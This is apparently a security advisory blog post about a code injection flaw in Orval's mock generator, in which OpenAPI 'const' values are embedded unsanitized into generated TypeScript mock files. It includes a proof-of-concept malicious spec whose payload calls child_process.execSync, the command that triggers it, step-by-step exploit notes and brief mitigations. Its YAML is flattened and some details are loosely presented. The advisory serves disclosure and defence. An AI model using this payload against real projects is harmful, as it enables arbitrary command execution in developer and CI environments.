Listen to this Post
The vulnerability exists within the `@orval/mock` package’s faker-based mock generator. When generating mock data from an OpenAPI specification, the tool processes schema properties defined with the `const` keyword. The `const` values are passed directly to the `getMockScalar` function in packages/mock/src/faker/getters/scalar.ts. This function uses string interpolation or concatenation to embed these values into the generated TypeScript/JavaScript mock code without proper sanitization or type-safe serialization. An attacker can craft a malicious OpenAPI spec where the `const` value contains closing syntax and arbitrary code, such as '); require('child_process').execSync('id'); //. When Orval processes this spec with the mock generation feature enabled, the attacker’s payload is injected directly into the output `.ts` mock files. These generated files, when executed (e.g., by a test runner or development server), will run the injected code in the context of the application, leading to remote code execution during the build or development process.
Platform: Orval (@orval/mock)
Version: 7.x, 8.x
Vulnerability : Code Injection
Severity: Critical
date: Report Published 2024
Prediction: Patch within 30 days
What Undercode Say:
Example of a malicious OpenAPI spec trigger
cat << EOF > evil-spec.yaml
openapi: 3.1.0
info:
PoC
version: 1.0.0
paths:
/test:
get:
responses:
'200':
content:
application/json:
schema:
\$ref: '/components/schemas/Injected'
components:
schemas:
Injected:
type: object
properties:
payload:
type: string
const: "');require('child_process').execSync('touch /tmp/pwned');//"
EOF
Generating mocks with the vulnerable version
orval --input ./evil-spec.yaml --output ./mocks
// Generated vulnerable mock code snippet (packages/mock/src/faker/getters/scalar.ts)
const getMockScalar = (constValue) => {
// Unsafe interpolation
return <code>faker.helpers.arrayElement([${constValue}])</code>;
};
// If constValue is "');require('child_process').execSync('id');//", it becomes:
// faker.helpers.arrayElement([');require('child_process').execSync('id');//])
How Exploit:
- Attacker provides a malicious OpenAPI specification containing a crafted `const` value in a schema property.
- Victim runs `orval` with `mock: true` configuration on this spec.
- Orval generates mock files with the unescaped, injected code.
- When the generated mocks are executed (e.g., by Vitest, Jest, or a dev server), the embedded payload runs, executing arbitrary system commands.
Protection from this CVE
- Avoid processing untrusted OpenAPI specifications.
- Disable mock generation (
mock: false) for external specs. - Apply patch when released; sanitize `const` values in scalar.ts.
Impact:
Remote Code Execution (RCE) via build chain, compromising the developer environment and potentially the CI/CD pipeline.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
